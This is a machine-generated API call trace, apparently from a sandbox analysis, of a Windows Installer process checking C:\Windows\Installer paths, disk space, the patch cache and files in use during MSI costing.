[0125.094] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0125.094] lstrlenW (lpString="Table") returned 5 [0125.094] lstrlenW (lpString="=") returned 1 [0125.094] lstrlenW (lpString="TypeLib") returned 7 [0125.094] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0125.094] lstrlenW (lpString="_Columns") returned 8 [0125.094] lstrlenW (lpString="Name") returned 4 [0125.094] lstrlenW (lpString="=") returned 1 [0125.094] lstrlenW (lpString="Cost") returned 4 [0125.094] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0125.094] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.094] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.094] lstrlenW (lpString="_Columns") returned 8 [0125.095] lstrlenW (lpString="Name") returned 4 [0125.095] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0125.095] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.095] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0125.095] GlobalUnlock (hMem=0xf40198) returned 0 [0125.095] lstrlenW (lpString="VersionNT") returned 9 [0125.095] SetLastError (dwErrCode=0x0) [0125.095] lstrlenW (lpString="VersionNT") returned 9 [0125.096] SetLastError (dwErrCode=0x0) [0125.096] lstrlenW (lpString="VersionNT") returned 9 [0125.096] SetLastError (dwErrCode=0x0) [0125.096] lstrlenW (lpString="VersionNT") returned 9 [0125.097] SetLastError (dwErrCode=0x0) [0125.097] lstrlenW (lpString="VersionNT") returned 9 [0125.097] SetLastError (dwErrCode=0x0) [0125.097] lstrlenW (lpString="VersionNT") returned 9 [0125.098] SetLastError (dwErrCode=0x0) [0125.098] lstrlenW (lpString="VersionNT") returned 9 [0125.098] SetLastError (dwErrCode=0x0) [0125.098] lstrlenW (lpString="VersionNT") returned 9 [0125.099] SetLastError (dwErrCode=0x0) [0125.099] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd7a0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.099] lstrlenW (lpString="C:\\Windows") returned 10 [0125.099] lstrlenW (lpString="\\") returned 1 [0125.099] lstrlenW (lpString="Installer") returned 9 [0125.099] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.099] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.099] lstrlenW (lpString="\\") returned 1 [0125.099] lstrlenW (lpString="\\\\") returned 2 [0125.099] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.099] lstrlenW (lpString="Windows") returned 7 [0125.099] lstrlenW (lpString="Windows") returned 7 [0125.099] lstrlenW (lpString="Installer") returned 9 [0125.099] lstrlenW (lpString="Installer") returned 9 [0125.099] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.099] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.099] lstrlenW (lpString="\\") returned 1 [0125.099] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.100] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.100] lstrlenW (lpString="VolumeCost") returned 10 [0125.100] lstrlenW (lpString="VolumeObject") returned 12 [0125.100] lstrlenW (lpString="VolumeCost") returned 10 [0125.100] lstrlenW (lpString="NoRbVolumeCost") returned 14 [0125.101] lstrlenW (lpString="VolumeARPCost") returned 13 [0125.101] lstrlenW (lpString="NoRbVolumeARPCost") returned 17 [0125.101] GlobalLock (hMem=0xf40198) returned 0x3cef10 [0125.101] GetCurrentThreadId () returned 0xf50 [0125.101] GetCurrentThreadId () returned 0xf50 [0125.101] SetEvent (hEvent=0x170) returned 1 [0125.101] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.104] lstrlenW (lpString="CostingComplete") returned 15 [0125.104] _vsnwprintf (in: _Buffer=0x10cda58, _BufferCount=0xb, _Format="%i", _ArgList=0x10cda48 | out: _Buffer="1") returned 1 [0125.104] lstrlenW (lpString="1") returned 1 [0125.104] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd6f0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.104] lstrlenW (lpString="C:\\Windows") returned 10 [0125.104] lstrlenW (lpString="\\") returned 1 [0125.104] lstrlenW (lpString="Installer") returned 9 [0125.104] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.104] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.105] lstrlenW (lpString="\\") returned 1 [0125.105] lstrlenW (lpString="\\\\") returned 2 [0125.105] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.105] lstrlenW (lpString="Windows") returned 7 [0125.105] lstrlenW (lpString="Windows") returned 7 [0125.105] lstrlenW (lpString="Installer") returned 9 [0125.105] lstrlenW (lpString="Installer") returned 9 [0125.105] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.105] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.105] lstrlenW (lpString="\\") returned 1 [0125.105] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.105] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.105] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd6f0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.105] lstrlenW (lpString="C:\\Windows") returned 10 [0125.105] lstrlenW (lpString="\\") returned 1 [0125.105] lstrlenW (lpString="Installer") returned 9 [0125.105] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.106] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.106] lstrlenW (lpString="\\") returned 1 [0125.106] lstrlenW (lpString="\\\\") returned 2 [0125.106] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.106] lstrlenW (lpString="Windows") returned 7 [0125.106] lstrlenW (lpString="Windows") returned 7 [0125.106] lstrlenW (lpString="Installer") returned 9 [0125.106] lstrlenW (lpString="Installer") returned 9 [0125.106] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.106] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.106] lstrlenW (lpString="\\") returned 1 [0125.106] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.106] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.106] UrlIsW (pszUrl="C:\\Windows\\Installer\\1876eff.msi", UrlIs=0x0) returned 0 [0125.106] lstrlenW (lpString="C:\\Windows\\Installer\\1876eff.msi") returned 32 [0125.106] lstrlenW (lpString="\\") returned 1 [0125.107] lstrlenW (lpString="\\\\") returned 2 [0125.107] wcsstr (_Str="\\Windows\\Installer\\1876eff.msi", _SubStr="\\\\") returned 0x0 [0125.107] lstrlenW (lpString="Windows") returned 7 [0125.107] lstrlenW (lpString="Windows") returned 7 [0125.107] lstrlenW (lpString="Installer") returned 9 [0125.107] lstrlenW (lpString="Installer") returned 9 [0125.107] lstrlenW (lpString="1876eff.msi") returned 11 [0125.107] lstrlenW (lpString="1876eff.msi") returned 11 [0125.107] lstrlenW (lpString="\\Windows\\Installer\\1876eff.msi") returned 30 [0125.107] lstrlenW (lpString="\\Windows\\Installer\\1876eff.msi") returned 30 [0125.107] lstrlenW (lpString="\\") returned 1 [0125.107] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.107] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi")) returned 0x20 [0125.107] lstrlenW (lpString="1876eff.msi") returned 11 [0125.107] lstrlenW (lpString="1876eff.msi") returned 11 [0125.107] lstrlenW (lpString="1876eff.msi") returned 11 [0125.108] lstrlenW (lpString="1876eff.msi") returned 11 [0125.108] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi"), fInfoLevelId=0x0, lpFileInformation=0x10cd7b0 | out: lpFileInformation=0x10cd7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9ad800, ftCreationTime.dwHighDateTime=0x1d8a8d7, ftLastAccessTime.dwLowDateTime=0x76a57d90, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0xdc9ad800, ftLastWriteTime.dwHighDateTime=0x1d8a8d7, nFileSizeHigh=0x0, nFileSizeLow=0x3e0000)) returned 1 [0125.108] lstrlenW (lpString="Feature") returned 7 [0125.108] lstrlenW (lpString="Action") returned 6 [0125.108] lstrlenW (lpString="Installed") returned 9 [0125.108] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd480, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.108] lstrlenW (lpString="C:\\Windows") returned 10 [0125.109] lstrlenW (lpString="\\") returned 1 [0125.109] lstrlenW (lpString="Installer") returned 9 [0125.109] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.109] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.109] lstrlenW (lpString="\\") returned 1 [0125.109] lstrlenW (lpString="\\\\") returned 2 [0125.109] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.109] lstrlenW (lpString="Windows") returned 7 [0125.109] lstrlenW (lpString="Windows") returned 7 [0125.109] lstrlenW (lpString="Installer") returned 9 [0125.109] lstrlenW (lpString="Installer") returned 9 [0125.109] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.109] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.109] lstrlenW (lpString="\\") returned 1 [0125.109] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.109] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.109] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd480, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.109] lstrlenW (lpString="C:\\Windows") returned 10 [0125.109] lstrlenW (lpString="\\") returned 1 [0125.109] lstrlenW (lpString="Installer") returned 9 [0125.109] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.110] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.110] lstrlenW (lpString="\\") returned 1 [0125.110] lstrlenW (lpString="\\\\") returned 2 [0125.110] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.110] lstrlenW (lpString="Windows") returned 7 [0125.110] lstrlenW (lpString="Windows") returned 7 [0125.110] lstrlenW (lpString="Installer") returned 9 [0125.110] lstrlenW (lpString="Installer") returned 9 [0125.110] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.110] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.110] lstrlenW (lpString="\\") returned 1 [0125.110] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.110] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.110] lstrlenW (lpString="File") returned 4 [0125.110] lstrlenW (lpString="Registry") returned 8 [0125.110] lstrlenW (lpString="BindImage") returned 9 [0125.110] lstrlenW (lpString="ProgId") returned 6 [0125.110] lstrlenW (lpString="PublishComponent") returned 16 [0125.110] lstrlenW (lpString="Feature") returned 7 [0125.111] lstrlenW (lpString="SelfReg") returned 7 [0125.111] lstrlenW (lpString="Component") returned 9 [0125.111] lstrlenW (lpString="Extension") returned 9 [0125.111] lstrlenW (lpString="Font") returned 4 [0125.111] lstrlenW (lpString="Shortcut") returned 8 [0125.111] lstrlenW (lpString="Class") returned 5 [0125.111] lstrlenW (lpString="Component") returned 9 [0125.111] lstrlenW (lpString="Icon") returned 4 [0125.111] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䆒䑲", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cd710, ppstm=0x0 | out: ppstm=0x0) returned 0x80030002 [0125.111] lstrlenW (lpString="Icon") returned 4 [0125.111] lstrlenW (lpString="TypeLib") returned 7 [0125.111] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd6f0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.111] lstrlenW (lpString="C:\\Windows") returned 10 [0125.111] lstrlenW (lpString="\\") returned 1 [0125.111] lstrlenW (lpString="Installer") returned 9 [0125.111] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.112] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.112] lstrlenW (lpString="\\") returned 1 [0125.112] lstrlenW (lpString="\\\\") returned 2 [0125.112] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.112] lstrlenW (lpString="Windows") returned 7 [0125.112] lstrlenW (lpString="Windows") returned 7 [0125.112] lstrlenW (lpString="Installer") returned 9 [0125.112] lstrlenW (lpString="Installer") returned 9 [0125.112] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.112] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.112] lstrlenW (lpString="\\") returned 1 [0125.112] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.112] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.112] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd6f0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.112] lstrlenW (lpString="C:\\Windows") returned 10 [0125.112] lstrlenW (lpString="\\") returned 1 [0125.112] lstrlenW (lpString="Installer") returned 9 [0125.112] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.113] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.113] lstrlenW (lpString="\\") returned 1 [0125.113] lstrlenW (lpString="\\\\") returned 2 [0125.113] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.113] lstrlenW (lpString="Windows") returned 7 [0125.113] lstrlenW (lpString="Windows") returned 7 [0125.113] lstrlenW (lpString="Installer") returned 9 [0125.113] lstrlenW (lpString="Installer") returned 9 [0125.113] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.113] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.113] lstrlenW (lpString="\\") returned 1 [0125.113] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.113] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.113] lstrlenW (lpString="Feature") returned 7 [0125.114] lstrlenW (lpString="ActionRequested") returned 15 [0125.114] lstrlenW (lpString="Installed") returned 9 [0125.114] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd6f0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.114] lstrlenW (lpString="C:\\Windows") returned 10 [0125.114] lstrlenW (lpString="\\") returned 1 [0125.114] lstrlenW (lpString="Installer") returned 9 [0125.114] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.114] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.114] lstrlenW (lpString="\\") returned 1 [0125.114] lstrlenW (lpString="\\\\") returned 2 [0125.114] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.114] lstrlenW (lpString="Windows") returned 7 [0125.114] lstrlenW (lpString="Windows") returned 7 [0125.115] lstrlenW (lpString="Installer") returned 9 [0125.115] lstrlenW (lpString="Installer") returned 9 [0125.115] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.115] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.115] lstrlenW (lpString="\\") returned 1 [0125.115] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.115] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.115] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd6f0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.115] lstrlenW (lpString="C:\\Windows") returned 10 [0125.115] lstrlenW (lpString="\\") returned 1 [0125.115] lstrlenW (lpString="Installer") returned 9 [0125.115] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.115] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.115] lstrlenW (lpString="\\") returned 1 [0125.115] lstrlenW (lpString="\\\\") returned 2 [0125.115] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.115] lstrlenW (lpString="Windows") returned 7 [0125.115] lstrlenW (lpString="Windows") returned 7 [0125.115] lstrlenW (lpString="Installer") returned 9 [0125.116] lstrlenW (lpString="Installer") returned 9 [0125.116] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.116] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.116] lstrlenW (lpString="\\") returned 1 [0125.116] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.116] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.116] lstrlenW (lpString="Feature") returned 7 [0125.116] lstrlenW (lpString="ActionRequested") returned 15 [0125.116] lstrlenW (lpString="Installed") returned 9 [0125.116] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd650, uSize=0x102 | out: lpBuffer="C:\\Windows") returned 0xa [0125.117] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed") returned 41 [0125.117] lstrlenW (lpString="\\") returned 1 [0125.117] UrlIsW (pszUrl="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", UrlIs=0x0) returned 0 [0125.117] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 74 [0125.117] lstrlenW (lpString="\\") returned 1 [0125.117] lstrlenW (lpString="\\\\") returned 2 [0125.117] wcsstr (_Str="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", _SubStr="\\\\") returned 0x0 [0125.117] lstrlenW (lpString="Windows") returned 7 [0125.117] lstrlenW (lpString="Windows") returned 7 [0125.117] lstrlenW (lpString="Installer") returned 9 [0125.117] lstrlenW (lpString="Installer") returned 9 [0125.117] lstrlenW (lpString="$PatchCache$") returned 12 [0125.117] lstrlenW (lpString="$PatchCache$") returned 12 [0125.117] lstrlenW (lpString="Managed") returned 7 [0125.117] lstrlenW (lpString="Managed") returned 7 [0125.117] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0125.117] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0125.117] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 72 [0125.117] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 72 [0125.117] lstrlenW (lpString="\\") returned 1 [0125.117] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.117] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\8f3854ca4966e374bb7723dccfb99a04")) returned 0xffffffff [0125.117] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04\\") returned 75 [0125.117] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\8f3854ca4966e374bb7723dccfb99a04"), fInfoLevelId=0x0, lpFileInformation=0x10cd7e0 | out: lpFileInformation=0x10cd7e0*(dwFileAttributes=0x10cd860, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf791c1fd, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x10cd980, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x10cdab8, nFileSizeHigh=0x0, nFileSizeLow=0x2be7100)) returned 0 [0125.118] GetLastError () returned 0x2 [0125.118] GetLastError () returned 0x2 [0125.118] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd3e0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0125.118] lstrlenW (lpString="C:\\Windows") returned 10 [0125.118] lstrlenW (lpString="\\") returned 1 [0125.118] lstrlenW (lpString="Installer") returned 9 [0125.118] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0125.118] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0125.118] lstrlenW (lpString="\\") returned 1 [0125.118] lstrlenW (lpString="\\\\") returned 2 [0125.118] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0125.118] lstrlenW (lpString="Windows") returned 7 [0125.118] lstrlenW (lpString="Windows") returned 7 [0125.118] lstrlenW (lpString="Installer") returned 9 [0125.118] lstrlenW (lpString="Installer") returned 9 [0125.118] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.118] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0125.118] lstrlenW (lpString="\\") returned 1 [0125.118] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.118] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0125.118] lstrlenW (lpString="\\") returned 1 [0125.118] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0125.119] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x10cd8c8, lpTotalNumberOfBytes=0x10cd8d0, lpTotalNumberOfFreeBytes=0x10cd8c0 | out: lpFreeBytesAvailableToCaller=0x10cd8c8, lpTotalNumberOfBytes=0x10cd8d0, lpTotalNumberOfFreeBytes=0x10cd8c0) returned 1 [0125.119] GetDiskFreeSpaceW (in: lpRootPathName="C:\\", lpSectorsPerCluster=0x10cd928, lpBytesPerSector=0x10cd920, lpNumberOfFreeClusters=0x10cd930, lpTotalNumberOfClusters=0x10cd938 | out: lpSectorsPerCluster=0x10cd928, lpBytesPerSector=0x10cd920, lpNumberOfFreeClusters=0x10cd930, lpTotalNumberOfClusters=0x10cd938) returned 1 [0125.119] GetLastError () returned 0x0 [0125.119] SetLastError (dwErrCode=0x0) [0125.119] lstrlenW (lpString="\\") returned 1 [0125.119] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0125.119] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x10cd8c8, lpTotalNumberOfBytes=0x10cd8d0, lpTotalNumberOfFreeBytes=0x10cd8c0 | out: lpFreeBytesAvailableToCaller=0x10cd8c8, lpTotalNumberOfBytes=0x10cd8d0, lpTotalNumberOfFreeBytes=0x10cd8c0) returned 1 [0125.119] GetDiskFreeSpaceW (in: lpRootPathName="C:\\", lpSectorsPerCluster=0x10cd928, lpBytesPerSector=0x10cd920, lpNumberOfFreeClusters=0x10cd930, lpTotalNumberOfClusters=0x10cd938 | out: lpSectorsPerCluster=0x10cd928, lpBytesPerSector=0x10cd920, lpNumberOfFreeClusters=0x10cd930, lpTotalNumberOfClusters=0x10cd938) returned 1 [0125.119] GetLastError () returned 0x0 [0125.120] SetLastError (dwErrCode=0x0) [0125.120] lstrlenW (lpString="OutOfDiskSpace") returned 14 [0125.120] _vsnwprintf (in: _Buffer=0x10cd908, _BufferCount=0xb, _Format="%i", _ArgList=0x10cd8f8 | out: _Buffer="0") returned 1 [0125.120] lstrlenW (lpString="0") returned 1 [0125.120] lstrlenW (lpString="OutOfNoRbDiskSpace") returned 18 [0125.120] _vsnwprintf (in: _Buffer=0x10cd908, _BufferCount=0xb, _Format="%i", _ArgList=0x10cd8f8 | out: _Buffer="0") returned 1 [0125.120] lstrlenW (lpString="0") returned 1 [0125.120] GetCurrentThreadId () returned 0xf50 [0125.120] GetCurrentThreadId () returned 0xf50 [0125.120] SetEvent (hEvent=0x170) returned 1 [0125.120] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0125.122] lstrlenW (lpString="FilesInUse") returned 10 [0125.122] GetCurrentThread () returned 0xfffffffffffffffe [0125.122] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xc, OpenAsSelf=1, TokenHandle=0x10cd930 | out: TokenHandle=0x10cd930*=0x348) returned 1 [0125.122] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0125.123] GetProcAddress (hModule=0x7fef64b0000, lpProcName="RmGetList") returned 0x7fef64b4fb4 [0125.123] RmGetList () returned 0x0 [0125.343] CloseHandle (hObject=0x348) returned 1 [0125.343] lstrlenW (lpString="FilesInUse") returned 10 [0125.343] GetCurrentThreadId () returned 0xf50 [0125.343] GetCurrentThreadId () returned 0xf50 [0125.343] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cd9f0, uSize=0x102 | out: lpBuffer="C:\\Windows") returned 0xa [0125.343] UrlIsW (pszUrl="C:\\Windows\\Installer\\$PatchCache$\\Managed", UrlIs=0x0) returned 0 [0125.343] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed") returned 41 [0125.343] lstrlenW (lpString="\\") returned 1 [0125.343] lstrlenW (lpString="\\\\") returned 2 [0125.343] wcsstr (_Str="\\Windows\\Installer\\$PatchCache$\\Managed", _SubStr="\\\\") returned 0x0 [0125.343] lstrlenW (lpString="Windows") returned 7 [0125.343] lstrlenW (lpString="Windows") returned 7 [0125.343] lstrlenW (lpString="Installer") returned 9 [0125.343] lstrlenW (lpString="Installer") returned 9 [0125.343] lstrlenW (lpString="$PatchCache$") returned 12 [0125.343] lstrlenW (lpString="$PatchCache$") returned 12 [0125.343] lstrlenW (lpString="Managed") returned 7 [0125.343] lstrlenW (lpString="Managed") returned 7 [0125.343] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed") returned 39 [0125.343] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed") returned 39 [0125.343] lstrlenW (lpString="\\") returned 1 [0125.343] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.344] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed" (normalized: "c:\\windows\\installer\\$patchcache$\\managed")) returned 0x16 [0125.344] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0125.345] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed\\") returned 42 [0125.345] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed" (normalized: "c:\\windows\\installer\\$patchcache$\\managed"), fInfoLevelId=0x0, lpFileInformation=0x10cd7f0 | out: lpFileInformation=0x10cd7f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x65971770, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x35d69620, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x35d69620, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0125.345] lstrlenW (lpString="*.*") returned 3 [0125.345] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.345] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\" (normalized: "c:\\windows\\installer\\$patchcache$\\managed")) returned 0x16 [0125.345] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\*.*" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\*.*"), lpFindFileData=0x10cd600 | out: lpFindFileData=0x10cd600*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x65971770, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x35d69620, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x35d69620, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x380250 [0125.346] GetLastError () returned 0x0 [0125.346] lstrlenW (lpString=".") returned 1 [0125.346] FindNextFileW (in: hFindFile=0x380250, lpFindFileData=0x10cd600 | out: lpFindFileData=0x10cd600*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x65971770, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x35d69620, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x35d69620, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.346] lstrlenW (lpString="..") returned 2 